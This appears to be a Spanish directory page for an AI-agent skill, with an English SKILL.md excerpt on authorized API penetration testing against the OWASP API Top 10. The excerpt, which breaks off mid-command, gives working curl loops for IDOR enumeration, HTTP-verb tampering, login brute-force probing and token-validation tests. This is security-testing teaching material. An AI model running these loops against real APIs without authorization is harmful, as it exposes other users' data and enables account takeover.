offensive-api-security
Qué hace
Esta skill es una metodología para pruebas de seguridad autorizadas en APIs REST, gRPC y WebSocket. Cubre el OWASP API Security Top 10, incluidos el acceso a objetos, la autenticación y la asignación masiva. Es para profesionales de seguridad que prueban APIs dentro de un alcance acordado.
Cuándo usarla
- ✓Cuando pruebas una API en busca de acceso roto a objetos o IDOR en una evaluación autorizada.
- ✓Cuando quieres comprobar una API REST, gRPC o WebSocket frente al OWASP API Top 10.
- ✓Cuando necesitas probar los límites de frecuencia, la asignación masiva o SSRF en una prueba de API aprobada.
Link de la skill
https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-security/SKILL.mdCópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.
Cómo usar
La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.
Mensaje listo para pegar
Para Claude Code, Codex o Cursor: ejecútalo en la carpeta del proyecto y la skill queda instalada.
Descarga el SKILL.md y ponlo en la carpeta de skills de tu agente.
Ejemplo de qué pedirle a la IA
“Tenemos permiso por escrito para probar nuestra API REST. Revísala en busca de acceso roto a nivel de objeto.”
5 skills nuevas por semana. 1 minuto de lectura.
Cómo funciona
La skill mapea la superficie de la API y después prueba la autenticación, el acceso a objetos entre cuentas de usuario, los límites de roles y el manejo de parámetros. Documenta cada hallazgo con pasos para reproducirlo y una clasificación de gravedad.
Contenido técnico (SKILL.md original)
Texto original del autor, en inglés, directo de GitHub.
Offensive API Security Testing
You are conducting authorized security assessments against API-driven applications. This skill covers REST, gRPC, and WebSocket attack surfaces with emphasis on the OWASP API Security Top 10 2023. Every technique assumes you have written authorization and a defined scope. Your goal is to identify vulnerabilities that allow unauthorized data access, privilege escalation, or service disruption through API-layer attacks.
Quick Workflow
- Map the API surface: collect OpenAPI/Swagger specs, gRPC reflection output, and WebSocket endpoints.
- Enumerate authentication mechanisms: API keys, OAuth flows, JWTs, session tokens.
- Test BOLA/IDOR by substituting object identifiers across authenticated contexts.
- Probe authorization boundaries with BFLA checks across roles and HTTP methods.
- Fuzz parameters for mass assignment, content-type switching, and verb tampering.
- Assess rate limiting and resource consumption controls.
- Test gRPC-specific vectors: reflection enumeration, metadata injection, protobuf manipulation.
- Evaluate WebSocket security: origin validation, message integrity, CSWSH.
- Check for SSRF via URL-accepting parameters and webhook configurations.
- Document findings with reproduction steps and severity ratings.
OWASP API Top 10 2023 -- BOLA and IDOR
Broken Object Level Authorization (BOLA) is the most prevalent API vulnerability. You test it by capturing a legitimate request containing an object identifier and replaying it with identifiers belonging to other users or tenants.
GET /api/v1/users/1001/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Replay with a different user ID while retaining the original token:
GET /api/v1/users/1002/orders HTTP/1.1
Authorization: Bearer eyJhbGciOi...user_a_token
Host: target.example.com
Automate IDOR testing across sequential and UUID-based identifiers:
# Sequential ID enumeration
for id in $(seq 1000 1050); do
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/users/${id}/orders")
echo "ID: ${id} -> HTTP ${status}"
done
# Test with collected UUIDs from other endpoints
while read -r uuid; do
resp=$(curl -s -H "Authorization: Bearer $TOKEN_A" \
"https://target.example.com/api/v1/documents/${uuid}")
echo "UUID: ${uuid} -> $(echo "$resp" | jq -r '.owner // "no_owner_field"')"
done < collected_uuids.txt
Test across HTTP methods -- an endpoint may enforce authorization on GET but not on PUT or DELETE:
for method in GET PUT PATCH DELETE; do
curl -s -o /dev/null -w "${method} -> %{http_code}\n" \
-X "${method}" \
-H "Authorization: Bearer $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"status":"cancelled"}' \
"https://target.example.com/api/v1/users/1002/orders/5001"
done
Broken Authentication and Excessive Data Exposure
Test authentication endpoints for credential stuffing resilience, token lifecycle weaknesses, and information leakage in API responses.
# Rapid credential testing -- probe for missing rate limits on login
for i in $(seq 1 100); do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST -H "Content-Type: application/json" \
-d "{\"email\":\"test@example.com\",\"password\":\"attempt${i}\"}" \
"https://target.example.com/api/v1/auth/login")
echo "Attempt ${i}: HTTP ${code}"
[ "$code" = "429" ] && echo "Rate limit hit at attempt ${i}" && break
done
Check for excessive data exposure by comparing full API responses against what the UI renders. Look for internal IDs, other users' emails, hashed passwords, role assignments, or PII the client never displays:
curl -s -H "Authorization: Bearer $TOKEN" \
"https://target.example.com/api/v1/users/me" | jq .
Test token validation weaknesses:
# Expired token, post-password-change token, malformed bearer values
curl -s -o /dev/null -w "Expired: %{http_code}\n" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
"https://target.example.com/api/v1/users/me"
curl -s -o /dev/null -w "Pre-change: %{http_code}\n" \
-H "Authorization: Bearer $PRE_PASSWORD_CHANGE_TOKEN" \
"https://target.example.com/api/v1/users/me"
for val in "" "null" "undefined" "Bearer" "Bearer "; do
curl -s -o /dev/null -w "Value '${val}' -> %{http_code}\n" \
-H "Authorization: ${val}" \
"https://ta
Preguntas frecuentes
¿Qué es BOLA?
Es la autorización rota a nivel de objeto, donde un usuario accede a objetos de otro cambiando un identificador.
¿Cubre gRPC y WebSockets?
Sí. Incluye pruebas de reflexión y metadatos de gRPC, y comprobaciones del origen y de los mensajes de WebSocket.
¿Necesita un alcance acordado?
Sí. La skill supone que tienes autorización por escrito y un alcance definido antes de probar.
Detalles
Descripción original del autor
Comprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and
repo: SnailSploit/Claude-Red
Popularidad
- Estrellas en GitHub
- 10 mil
- Posición en el ranking
- #11946
- Licencia
- MIT
- Actualizada
- 12/10/2026
Comentarios
- …
Más skills de este repositorio
offensive-active-directory
10 milAyuda a tu agente a planificar una prueba de seguridad autorizada de Active Directory, desde mapear la red hasta encontrar rutas de ataque a Domain Admin.
offensive-netexec
10 milAyuda a tu agente a usar la herramienta NetExec (nxc) para pruebas de red autorizadas, cubriendo protocolos, autenticación y comprobaciones de credenciales.
offensive-api-abuse
10 milAyuda a tu agente a planificar pruebas de seguridad de API autorizadas que buscan abusos de la lógica de negocio, riesgos de GraphQL y condiciones de carrera.
offensive-jwt
10 milAyuda a tu agente a probar los tokens JWT de inicio de sesión en busca de fallos de seguridad autorizados, como firmas débiles y confusión de algoritmos.
Skills parecidas
reverse-engineer-anything
422 milAyuda a tu agente a revisar apps y paquetes ya publicados para explicar sus funciones, comparar versiones o guiar una reconstrucción, usando la herramienta REA.
1password
394 milAyuda a tu agente a instalar la CLI de 1Password, iniciar sesión y leer o inyectar secretos sin imprimir sus valores en el chat.
healthcheck
394 milAyuda a tu agente a auditar el ordenador o servidor que ejecuta OpenClaw en busca de riesgos de seguridad, como SSH, cortafuegos, actualizaciones y copias de seguridad, y después sugerir arreglos seguros.